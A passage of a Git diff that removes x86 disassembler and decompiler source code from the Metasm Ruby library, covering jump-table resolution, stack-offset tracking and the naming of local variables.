Expression::Unknown # :incomplete_binding ? - ret - } - end - - @backtrace_binding[op] ||= full_binding || binding if full_binding || binding - } - @backtrace_binding - end - - # returns the condition (bool Expression) under which a conditionnal jump is taken - # returns nil if not a conditionnal jump - # backtrace for the condition must include the jump itself (eg loop -> ecx--) - def get_jump_condition(di) - ecx = register_symbols[1] - case di.opcode.name - when /^j(.*)/ - decode_cc_to_expr($1) - when /^loop(.+)?/ - e = Expression[ecx, :'!=', 0] - e = Expression[e, :'||', decode_cc_to_expr($1)] if $1 - e - end - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when ModRM, Reg, SimdReg; arg.symbolic(di) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] - # handle modifications to al/ah etc - bd.keys.grep(Expression).each { |e| - # must be in the form (x & mask), with x either :reg or (:reg >> shift) eg ah == ((eax >> 8) & 0xff) - if e.op == :& and mask = e.rexpr and mask.kind_of? Integer - reg = e.lexpr - reg = reg.lexpr if reg.kind_of? Expression and reg.op == :>> and shift = reg.rexpr and shift.kind_of? Integer - next if not reg.kind_of? Symbol - if bd.has_key? reg - # xchg ah, al ; pop sp.. - puts "backtrace: conflict for #{di}: #{e} vs #{reg}" if $VERBOSE - bd[reg] = Expression::Unknown - next - end - val = bd.delete e - mask <<= shift if shift - invmask = mask ^ (@size == 64 ? 0xffff_ffff_ffff_ffff : 0xffff_ffff) - if invmask == 0xffff_ffff_0000_0000 and not di.opcode.props[:op32no64] - bd[reg] = Expression[val, :&, 0xffff_ffff] - elsif invmask == 0 - bd[reg] = val - else - val = Expression[val, :<<, shift] if shift - bd[reg] = Expression[[reg, :&, invmask], :|, [val, :&, mask]] - end - end - } - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - # assume nothing except the 1st arg is modified - case a[0] - when Indirection, Symbol; { a[0] => Expression::Unknown } - when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {} - else {} - end.update(:incomplete_binding => Expression[1]) - end - end - - # patch a forward binding from the backtrace binding - # fixes fwdemu for push/pop/call/ret - def fix_fwdemu_binding(di, fbd) - if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ } - fbd = fbd.dup - fbd[:incomplete_binding] = Expression[1] - end - - case di.opcode.name - when 'push', 'call' - fbd = fbd.dup - sz = opsz(di)/8 - esp = register_symbols[4] - if i = fbd.delete(Indirection[esp, sz]) - fbd[Indirection[[esp, :-, sz], sz]] = i - end - when 'pop', 'ret' # nothing to do - when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/ - fbd = fbd.dup - fbd[:incomplete_binding] = Expression[1] # TODO - end - fbd - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - sz = opsz(di) - case di.opcode.basename - when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]] - when 'jmp', 'call' - a = di.instruction.args.first - if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm) - return get_xrefs_x_jmptable(dasm, di, a, a.s*8) - end - end - - case tg = di.instruction.args.first - when ModRM - tg.sz ||= sz if tg.kind_of? ModRM - [Expression[tg.symbolic(di)]] - when Reg; [Expression[tg.symbolic(di)]] - when Expression, ::Integer; [Expression[tg]] - when Farptr; tg.seg.reduce < 0x30 ? [tg.addr] : [Expression[[tg.seg, :*, 0x10], :+, tg.addr]] - else - puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG - [] - end - end - - # we detected a jmp table (jmp [base+4*idx]) - # try to return an accurate dest list - def get_xrefs_x_jmptable(dasm, di, mrm, sz) - # include the symbolic dest for backtrack stuff - ret = [Expression[mrm.symbolic(di)]] - i = mrm.i - if di.block.list.length == 2 and di.block.list[0].opcode.name =~ /^mov/ and a0 = di.block.list[0].instruction.args[0] and - a0.respond_to? :symbolic and a0.symbolic == i.symbolic - i = di.block.list[0].instruction.args[1] - end - pb = di.block.from_normal.to_a - if pb.length == 1 and pdi = dasm.decoded[pb[0]] and pdi.opcode.name =~ /^jn?be?/ and ppdi = pdi.block.list[-2] and ppdi.opcode.name == 'cmp' and - ppdi.instruction.args[0].symbolic == i.symbolic and lim = Expression[ppdi.instruction.args[1]].reduce and lim.kind_of? Integer - # cmp eax, 42 ; jbe switch ; switch: jmp [base+4*eax] - s = dasm.get_section_at(mrm.imm) - lim += 1 if pdi.opcode.name[-1] == ?e - lim.times { |v| - dasm.add_xref(s[1]+s[0].ptr, Xref.new(:r, di.address, sz/8)) - ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] - s[0].read(sz/8) - } - l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref') - replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l]) - # add 'case 1' comments - cases = {} - ret.each_with_index { |ind, idx| - idx -= 1 # ret[0] = symbolic - next if idx < 0 - a = dasm.backtrace(ind, di.address) - if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer) - (cases[addr] ||= []) << idx - end - } - cases.each { |addr, list| - dasm.add_comment(addr, "case #{list.join(', ')}:") - } - return ret - end - - puts "unrecognized jmp table pattern, using wild guess for #{di}" if $VERBOSE - di.add_comment 'wildguess' - if s = dasm.get_section_at(mrm.imm - 3*sz/8) - v = -3 - else - s = dasm.get_section_at(mrm.imm) - v = 0 - end - while s[0].ptr < s[0].length - ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness) - diff = Expression[ptr, :-, di.address].reduce - if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr)) - dasm.add_xref(s[1]+s[0].ptr-sz/8, Xref.new(:r, di.address, sz/8)) - ret << Indirection[[mrm.imm, :+, v*sz/8], sz/8, di.address] - elsif v > 0 - break - end - v += 1 - end - ret - end - - # checks if expr is a valid return expression matching the :saveip instruction - def backtrace_is_function_return(expr, di=nil) - expr = Expression[expr].reduce_rec - expr.kind_of? Indirection and expr.len == @size/8 and expr.target == Expression[register_symbols[4]] - end - - # updates the function backtrace_binding - # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand) - # XXX assume retaddrlist is either a list of addr of ret or a list with a single entry which is an external function name (thunk) - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - b = f.backtrace_binding - - esp, ebp = register_symbols[4, 2] - - # XXX handle retaddrlist for multiple/mixed thunks - if retaddrlist and not dasm.decoded[retaddrlist.first] and di = dasm.decoded[faddr] - # no return instruction, must be a thunk : find the last instruction (to backtrace from it) - done = [] - while ndi = dasm.decoded[di.block.to_subfuncret.to_a.first] || dasm.decoded[di.block.to_normal.to_a.first] and ndi.kind_of? DecodedInstruction and not done.include? ndi.address - done << ndi.address - di = ndi - end - if not di.block.to_subfuncret.to_a.first and di.block.to_normal and di.block.to_normal.length > 1 - thunklast = di.block.list.last.address - end - end - - bt_val = lambda { |r| - next if not retaddrlist - b[r] = Expression::Unknown # TODO :pending or something ? (for recursive lazy functions) - bt = [] - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], (thunklast ? thunklast : retaddr), - :include_start => true, :snapshot_addr => faddr, :origin => retaddr, :from_subfuncret => thunklast) - } - if bt.length != 1 - b[r] = Expression::Unknown - else - b[r] = bt.first - end - } - - if not wantregs.empty? - wantregs.each(&bt_val) - else - if dasm.function_blocks(faddr, true).length < 20 - register_symbols.each(&bt_val) - else - [ebp, esp].each(&bt_val) - end - end - - backtrace_update_function_binding_check(dasm, faddr, f, b, &bt_val) - - b - end - - def backtrace_update_function_binding_check(dasm, faddr, f, b) - sz = @size/8 - if b[:ebp] and b[:ebp] != Expression[:ebp] - # may be a custom 'enter' function (eg recent Visual Studio) - # TODO put all memory writes in the binding ? - [[:ebp], [:esp, :+, 1*sz], [:esp, :+, 2*sz], [:esp, :+, 3*sz]].each { |ptr| - ind = Indirection[ptr, sz, faddr] - yield(ind) - b.delete(ind) if b[ind] and not [:ebx, :edx, :esi, :edi, :ebp].include? b[ind].reduce_rec - } - end - if dasm.funcs_stdabi - if b[:esp] and b[:esp] == Expression::Unknown and not f.btbind_callback - puts "update_func_bind: #{Expression[faddr]} has esp -> unknown, use dynamic callback" if $DEBUG - f.btbind_callback = disassembler_default_btbind_callback - end - [:ebp, :ebx, :esi, :edi].each { |reg| - if b[reg] and b[reg] == Expression::Unknown - puts "update_func_bind: #{Expression[faddr]} has #{reg} -> unknown, presume it is preserved" if $DEBUG - b[reg] = Expression[reg] - end - } - else - if b[:esp] and not Expression[b[:esp], :-, :esp].reduce.kind_of?(::Integer) - puts "update_func_bind: #{Expression[faddr]} has esp -> #{b[:esp]}" if $DEBUG - end - end - - # rename some functions - # TODO database and real signatures - rename = - if b[:eax] and Expression[b[:eax], :-, faddr].reduce == 0 - 'geteip' # metasm pic linker - elsif b[:eax] and b[:ebx] and Expression[b[:eax], :-, :eax].reduce == 0 and Expression[b[:ebx], :-, Indirection[:esp, sz, nil]].reduce == 0 - 'get_pc_thunk_ebx' # elf pic convention - elsif b[:esp] and Expression[b[:esp], :-, [:esp, :-, Indirection[[:esp, :+, 2*sz], sz]]].reduce.kind_of? ::Integer and - dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } - '__SEH_prolog' - elsif b[:esp] == Expression[:ebp, :+, sz] and - dasm.decoded[faddr].block.list.find { |di| di.backtrace_binding[Indirection['segment_base_fs', sz]] } - '__SEH_epilog' - end - dasm.auto_label_at(faddr, rename, 'loc', 'sub') if rename - end - - # returns true if the expression is an address on the stack - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? register_symbols[4] - end - - # updates an instruction's argument replacing an expression with another (eg label renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when ModRM - a.imm = (a.imm == old ? new : Expression[a.imm.bind(old => new).reduce]) if a.imm - a - else a - end - } - end - - # returns a DecodedFunction from a parsed C function prototype - # TODO rebacktrace already decoded functions (load a header file after dasm finished) - # TODO walk structs args - def decode_c_function_prototype(cp, sym, orig=nil) - sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) - df = DecodedFunction.new - orig ||= Expression[sym.name] - - new_bt = lambda { |expr, rlen| - df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) - } - - # return instr emulation - if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' - df.noreturn = true - else - new_bt[Indirection[:esp, @size/8, orig], nil] - end - - # register dirty (XXX assume standard ABI) - [:eax, :ecx, :edx].each { |r| - df.backtrace_binding.update r => Expression::Unknown - } - - # emulate ret <n> - al = cp.typesize[:ptr] - stackoff = al - if sym.has_attribute 'fastcall' - stackoff = sym.type.args.to_a[2..-1].to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } - elsif sym.has_attribute 'stdcall' - stackoff = sym.type.args.to_a.inject(al) { |sum, a| sum += (cp.sizeof(a) + al - 1) / al * al } - end - df.backtrace_binding[:esp] = Expression[:esp, :+, stackoff] - - # scan args for function pointers - # TODO walk structs/unions.. - stackoff = al - sym.type.args.to_a.each { |a| - p = Indirection[[:esp, :+, stackoff], al, orig] - stackoff += (cp.sizeof(a) + al - 1) / al * al - if a.type.untypedef.kind_of? C::Pointer - pt = a.type.untypedef.type.untypedef - if pt.kind_of? C::Function - new_bt[p, nil] - df.backtracked_for.last.detached = true - elsif pt.kind_of? C::Struct - new_bt[p, al] - else - new_bt[p, cp.sizeof(nil, pt)] - end - end - } - - df - end - - # the lambda for the :default backtrace_binding callback of the disassembler - # tries to determine the stack offset of unprototyped functions - # working: - # checks that origin is a ret, that expr is an indirection from esp and that expr.origin is the ret - # bt_walk from calladdr until we finds a call into us, and assumes it is the current function start - # TODO handle foo: call bar ; bar: pop eax ; call <withourcallback> ; ret -> bar is not the function start (foo is) - # then backtrace expr from calladdr to funcstart (snapshot), using esp -> esp+<stackoffvariable> - # from the result, compute stackoffvariable (only if trivial) - # will not work if the current function calls any other unknown function (unless all are __cdecl) - # will not work if the current function is framed (ebp leave ret): in this case the function will return, but its esp will be unknown - # if the stack offset is found and funcaddr is a string, fixup the static binding and remove the dynamic binding - # TODO dynamise thunks bt_for & bt_cb - def disassembler_default_btbind_callback - esp = register_symbols[4] - - lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| - @dasm_func_default_off ||= {} - if off = @dasm_func_default_off[[dasm, calladdr]] - bind = bind.merge(esp => Expression[esp, :+, off]) - break bind - end - break bind if not odi = dasm.decoded[origin] or odi.opcode.basename != 'ret' - expr = expr.reduce_rec if expr.kind_of? Expression - break bind unless expr.kind_of? Indirection and expr.origin == origin - break bind unless expr.externals.reject { |e| e =~ /^autostackoffset_/ } == [esp] - - curfunc = dasm.function[funcaddr] - if curfunc.backtrace_binding and tk = curfunc.backtrace_binding[:thunk] and dasm.function[tk] - curfunc = dasm.function[tk] - end - - # scan from calladdr for the probable parent function start - func_start = nil - dasm.backtrace_walk(true, calladdr, false, false, nil, maxdepth) { |ev, foo, h| - if ev == :up and h[:sfret] != :subfuncret and di = dasm.decoded[h[:to]] and di.opcode.basename == 'call' - func_start = h[:from] - break - elsif ev == :end - # entrypoints are functions too - func_start = h[:addr] - break - end - } - break bind if not func_start - puts "automagic #{Expression[funcaddr]}: found func start for #{dasm.decoded[origin]} at #{Expression[func_start]}" if dasm.debug_backtrace - s_off = "autostackoffset_#{Expression[funcaddr]}_#{Expression[calladdr]}" - list = dasm.backtrace(expr.bind(esp => Expression[esp, :+, s_off]), calladdr, :include_start => true, :snapshot_addr => func_start, :maxdepth => maxdepth, :origin => origin) - # check if this backtrace made us find our binding - if off = @dasm_func_default_off[[dasm, calladdr]] - bind = bind.merge(esp => Expression[esp, :+, off]) - break bind - elsif not curfunc.btbind_callback - break curfunc.backtrace_binding - end - e_expr = list.find { |e_expr_| - # TODO cleanup this - e_expr_ = Expression[e_expr_].reduce_rec - next if not e_expr_.kind_of? Indirection - off = Expression[[esp, :+, s_off], :-, e_expr_.target].reduce - off.kind_of? Integer and off >= @size/8 and off < 10*@size/8 and (off % (@size/8)) == 0 - } || list.first - - e_expr = e_expr.rexpr if e_expr.kind_of? Expression and e_expr.op == :+ and not e_expr.lexpr - break bind unless e_expr.kind_of? Indirection - - off = Expression[[esp, :+, s_off], :-, e_expr.target].reduce - if off.kind_of? Expression - bd = off.externals.grep(/^autostackoffset_/).inject({}) { |bd_, xt| bd_.update xt => @size/8 } - bd.delete s_off - if off.bind(bd).reduce == @size/8 - # all __cdecl - off = @size/8 - else - # check if all calls are to the same extern func - bd.delete_if { |k, v| k !~ /^autostackoffset_#{Expression[funcaddr]}_/ } - bd.each_key { |k| bd[k] = 0 } - if off.bind(bd).reduce.kind_of? Integer - off = off.bind(bd).reduce / (bd.length + 1) - end - end - end - if off.kind_of? Integer - if off < @size/8 or off > 20*@size/8 or (off % (@size/8)) != 0 - puts "autostackoffset: ignoring off #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE - off = :unknown - end - end - - bind = bind.merge esp => Expression[esp, :+, off] if off != :unknown - if funcaddr != :default - if not off.kind_of? ::Integer - #XXX we allow the current function to return, so we should handle the func backtracking its esp - #(and other register that are saved and restored in epilog) - puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace - else - puts "autostackoffset: found #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE - curfunc.btbind_callback = nil - curfunc.backtrace_binding = bind - - # rebacktrace the return address, so that other unknown funcs that depend on us are solved - dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) - end - else - if off.kind_of? ::Integer and dasm.decoded[calladdr] - puts "autostackoffset: found #{off-@size/8} for #{dasm.decoded[calladdr]}" if $VERBOSE - di = dasm.decoded[calladdr] - di.comment.delete_if { |c| c =~ /^stackoff=/ } if di.comment - di.add_comment "stackoff=#{off-@size/8}" - @dasm_func_default_off[[dasm, calladdr]] = off - - dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) - elsif cachedoff = @dasm_func_default_off[[dasm, calladdr]] - bind[esp] = Expression[esp, :+, cachedoff] - elsif off.kind_of? ::Integer - dasm.decoded[calladdr].add_comment "stackoff=#{off-@size/8}" - end - - puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace - end - - bind - } - end - - # the :default backtracked_for callback - # returns empty unless funcaddr is not default or calladdr is a call or a jmp - def disassembler_default_btfor_callback - lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default; btfor - elsif di = dasm.decoded[calladdr] and (di.opcode.name == 'call' or di.opcode.name == 'jmp'); btfor - else [] - end - } - end - - # returns a DecodedFunction suitable for :default - # uses disassembler_default_bt{for/bind}_callback - def disassembler_default_func - esp = register_symbols[4] - cp = new_cparser - cp.parse 'void stdfunc(void);' - f = decode_c_function_prototype(cp, 'stdfunc', :default) - f.backtrace_binding[esp] = Expression[esp, :+, :unknown] - f.btbind_callback = disassembler_default_btbind_callback - f.btfor_callback = disassembler_default_btfor_callback - f - end - - # returns a hash { :retval => r, :changed => [] } - def abi_funcall - { :retval => register_symbols[0], :changed => register_symbols[0, 3] } - end - - - # computes the binding of the sequence of code starting at entry included - # the binding is a hash showing the value of modified elements at the - # end of the code sequence, relative to their value at entry - # the elements are all the registers and the memory written to - # if finish is nil, the binding will include :ip, which is the address - # to be executed next (if it exists) - # the binding will not include memory access from subfunctions - # entry should be an entrypoint of the disassembler if finish is nil - # the code sequence must have only one end, with no to_normal - def code_binding(dasm, entry, finish=nil) - entry = dasm.normalize(entry) - finish = dasm.normalize(finish) if finish - lastdi = nil - binding = {} - bt = lambda { |from, expr, inc_start| - ret = dasm.backtrace(Expression[expr], from, :snapshot_addr => entry, :include_start => inc_start) - ret.length == 1 ? ret.first : Expression::Unknown - } - - # walk blocks, search for finish, scan memory writes - todo = [entry] - done = [Expression::Unknown] - while addr = todo.pop - addr = dasm.normalize(addr) - next if done.include? addr or addr == finish or not dasm.decoded[addr].kind_of? DecodedInstruction - done << addr - b = dasm.decoded[addr].block - - next if b.list.find { |di| - a = di.address - if a == finish - lastdi = b.list[b.list.index(di) - 1] - true - else - # check writes from the instruction - get_xrefs_w(dasm, di).each { |waddr, len| - # we want the ptr expressed with reg values at entry - ptr = bt[a, waddr, false] - binding[Indirection[ptr, len, a]] = bt[a, Indirection[waddr, len, a], true] - } - false - end - } - - hasnext = false - b.each_to_samefunc(dasm) { |t| - hasnext = true - if t == finish - lastdi = b.list.last - else - todo << t - end - } - - # check end of sequence - if not hasnext - raise "two-ended code_binding #{lastdi} & #{b.list.last}" if lastdi - lastdi = b.list.last - if lastdi.opcode.props[:setip] - e = get_xrefs_x(dasm, lastdi) - raise 'bad code_binding ending' if e.to_a.length != 1 or not lastdi.opcode.props[:stopexec] - binding[:ip] = bt[lastdi.address, e.first, false] - elsif not lastdi.opcode.props[:stopexec] - binding[:ip] = lastdi.next_addr - end - end - end - binding.delete_if { |k, v| Expression[k] == Expression[v] } - - # add register binding - raise "no code_binding end" if not lastdi and not finish - register_symbols.each { |reg| - val = - if lastdi; bt[lastdi.address, reg, true] - else bt[finish, reg, false] - end - next if val == Expression[reg] - mask = 0xffff_ffff # dont use 1<<@size, because 16bit code may use e.g. edi (through opszoverride) - mask = 0xffff_ffff_ffff_ffff if @size == 64 - val = Expression[val, :&, mask].reduce - binding[reg] = Expression[val] - } - - binding - end - - # trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX - def name_local_vars(dasm, funcaddr) - esp = register_symbols[4] - func = dasm.function[funcaddr] - subs = [] - dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace| - next if r.to_s =~ /flag/ - if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars } - subs << [trace[esp], dasm.function[tf].localvars] - end - di.instruction.args.grep(ModRM).each { |mrm| - b = mrm.b || (mrm.i if mrm.s == 1) - # its a modrm => b is read, so ignore r/off (not yet applied), use trace only - stackoff = trace[b.symbolic] if b - next if not stackoff - imm = mrm.imm || Expression[0] - frameoff = imm + stackoff - if frameoff.kind_of?(::Integer) - # XXX register args ? non-ABI standard register args ? (eg optimized x64) - str = 'var_%X' % (-frameoff) - str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0 - str = func.get_localvar_stackoff(frameoff, di, str) if func - imm = imm.expr if imm.kind_of?(ExpressionString) - mrm.imm = ExpressionString.new(imm, str, :stackvar) - end - } - off = off.reduce if off.kind_of?(Expression) - next unless off.kind_of?(Integer) - off - } - # if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0 - if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] } - func.localvars.each { |varoff, varname| - subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact - if subargnames.uniq.length == 1 - varname.replace 'sub'+subargnames[0] - end - } - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/decompile.rb b/lib/metasm/metasm/cpu/ia32/decompile.rb deleted file mode 100644 index 06035defd7..0000000000 --- a/lib/metasm/metasm/cpu/ia32/decompile.rb +++ /dev/null @@ -1,564 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/main' - -module Metasm -class Ia32 - # temporarily setup dasm.address_binding so that backtracking - # stack-related offsets resolve in :frameptr (relative to func start) - def decompile_makestackvars(dasm, funcstart, blocks) - oldfuncbd = dasm.address_binding[funcstart] - dasm.address_binding[funcstart] = { :esp => :frameptr } # this would suffice, the rest here is just optimisation - - patched_binding = [funcstart] # list of addresses to cleanup later - ebp_frame = true - - # pretrace esp and ebp for each function block (cleared later) - # TODO with more than 1 unknown __stdcall ext func per path, esp -> unknown, which makes very ugly C (*esp-- = 12...); add heuristics ? - blocks.each { |block| - blockstart = block.address - if not dasm.address_binding[blockstart] - patched_binding << blockstart - dasm.address_binding[blockstart] = {} - foo = dasm.backtrace(:esp, blockstart, :snapshot_addr => funcstart) - if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) - dasm.address_binding[blockstart][:esp] = ee - end - if ebp_frame - foo = dasm.backtrace(:ebp, blockstart, :snapshot_addr => funcstart) - if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or - (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) - dasm.address_binding[blockstart][:ebp] = ee - else - ebp_frame = false # func does not use ebp as frame ptr, no need to bt for later blocks - end - end - end - - yield block - } - - ensure - patched_binding.each { |a| dasm.address_binding.delete a } - dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd - end - - # list variable dependency for each block, remove useless writes - # returns { blockaddr => [list of vars that are needed by a following block] } - def decompile_func_finddeps(dcmp, blocks, func) - deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs - - # find read/writes by each block - blocks.each { |b, to| - deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to - deps_subfunc[b] = [] - - blk = dcmp.dasm.decoded[b].block - blk.list.each { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - - deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] - deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - } - stackoff = nil - blk.each_to_normal { |t| - t = dcmp.backtrace_target(t, blk.list.last.address) - next if not t = dcmp.c_parser.toplevel.symbol[t] - t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. - stackoff ||= Expression[dcmp.dasm.backtrace(:esp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :esp].reduce - - # things that are needed by the subfunction - if t.has_attribute('fastcall') - a = t.type.args.to_a - dep = [:ecx, :edx] - dep.shift if not a[0] or a[0].has_attribute('unused') - dep.pop if not a[1] or a[1].has_attribute('unused') - deps_subfunc[b] |= dep - end - t.type.args.to_a.each { |arg| - if reg = arg.has_attribute('register') - deps_subfunc[b] |= [reg.to_sym] - end - } - } - if stackoff # last block instr == subfunction call - deps_r[b] |= deps_subfunc[b] - deps_w[b] - deps_w[b] |= [:eax, :ecx, :edx] # standard ABI - end - } - - - bt = blocks.transpose - roots = bt[0] - bt[1].flatten # XXX jmp 1stblock ? - - # find regs read and never written (must have been set by caller and are part of the func ABI) - uninitialized = lambda { |b, r, done| - if not deps_r[b] - elsif deps_r[b].include?(r) - blk = dcmp.dasm.decoded[b].block - bw = [] - rdi = blk.list.find { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI - - next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r - bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - false - } - if r == :eax and (rdi || blk.list.last).opcode.name == 'ret' - func.type.type = C::BaseType.new(:void) - false - elsif rdi and rdi.backtrace_binding[r] - false # mov al, 42 ; ret -> don't regarg eax - else - true - end - elsif deps_w[b].include?(r) - else - done << b - (deps_to[b] - done).find { |tb| uninitialized[tb, r, done] } - end - } - - regargs = [] - register_symbols.each { |r| - if roots.find { |root| uninitialized[root, r, []] } - regargs << r - end - } - - # TODO honor user-defined prototype if available (eg no, really, eax is not read in this function returning al) - regargs.sort_by { |r| r.to_s }.each { |r| - a = C::Variable.new(r.to_s, C::BaseType.new(:int, :unsigned)) - a.add_attribute("register(#{r})") - func.type.args << a - } - - # remove writes from a block if no following block read the value - dw = {} - deps_w.each { |b, deps| - dw[b] = deps.reject { |dep| - ret = true - done = [] - todo = deps_to[b].dup - while a = todo.pop - next if done.include? a - done << a - if not deps_r[a] or deps_r[a].include? dep - ret = false - break - elsif not deps_w[a].include? dep - todo.concat deps_to[a] - end - end - ret - } - } - - dw - end - - def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) - scope = func.initializer - func.type.args.each { |a| scope.symbol[a.name] = a } - stmts = scope.statements - blocks_toclean = myblocks.dup - func_entry = myblocks.first[0] - until myblocks.empty? - b, to = myblocks.shift - if l = dcmp.dasm.get_label_at(b) - stmts << C::Label.new(l) - end - - # list of assignments [[dest reg, expr assigned]] - ops = [] - # reg binding (reg => value, values.externals = regs at block start) - binding = {} - # Expr => CExpr - ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } - # Expr => Expr.bind(binding) => CExpr - ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } - - # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) - commit = lambda { - deps[b].map { |k| - [k, ops.rindex(ops.reverse.find { |r, v| r == k })] - }.sort_by { |k, i| i.to_i }.each { |k, i| - next if not i or not binding[k] - e = k - final = [] - ops[0..i].reverse_each { |r, v| - final << r if not v - e = Expression[e].bind(r => v).reduce if not final.include? r - } - ops[i][1] = nil - binding.delete k - stmts << ce[k, :'=', e] if k != e - } - } - - # returns an array to use as funcall arguments - get_func_args = lambda { |di, f| - # XXX see remarks in #finddeps - bt = dcmp.dasm.backtrace(:esp, di.address, :snapshot_addr => func_entry, :include_start => true) - stackoff = Expression[[bt, :+, @size/8], :-, :esp].bind(:esp => :frameptr).reduce rescue nil - args_todo = f.type.args.to_a.dup - args = [] - if f.has_attribute('fastcall') # XXX DRY - if a = args_todo.shift - mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 - mask = 0 if a.has_attribute('unused') - args << Expression[:ecx, :&, mask] - end - if a = args_todo.shift - mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 # char => dl - mask = 0 if a.has_attribute('unused') - args << Expression[:edx, :&, mask] - end - end - args_todo.each { |a_| - if r = a_.has_attribute_var('register') - args << Expression[r.to_sym] - elsif stackoff.kind_of? Integer - args << Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += [dcmp.sizeof(a_), @size/8].max - else - args << Expression[0] - end - } - - if f.type.varargs and f.type.args.last.type.pointer? and stackoff.kind_of? Integer - # check if last arg is a fmtstring - bt = dcmp.dasm.backtrace(args.last, di.address, :snapshot_addr => func_entry, :include_start => true) - if bt.length == 1 and s = dcmp.dasm.get_section_at(bt.first) - fmt = s[0].read(512) - fmt = fmt.unpack('v*').pack('C*') if dcmp.sizeof(f.type.args.last.type.untypedef.type) == 2 - if fmt.index(?\0) - fmt = fmt[0...fmt.index(?\0)] - fmt.gsub('%%', '').count('%').times { # XXX %.*s etc.. - args << Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += @size/8 - } - end - end - end - - args.map { |e| ceb[e] } - } - - # go ! - dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| - a 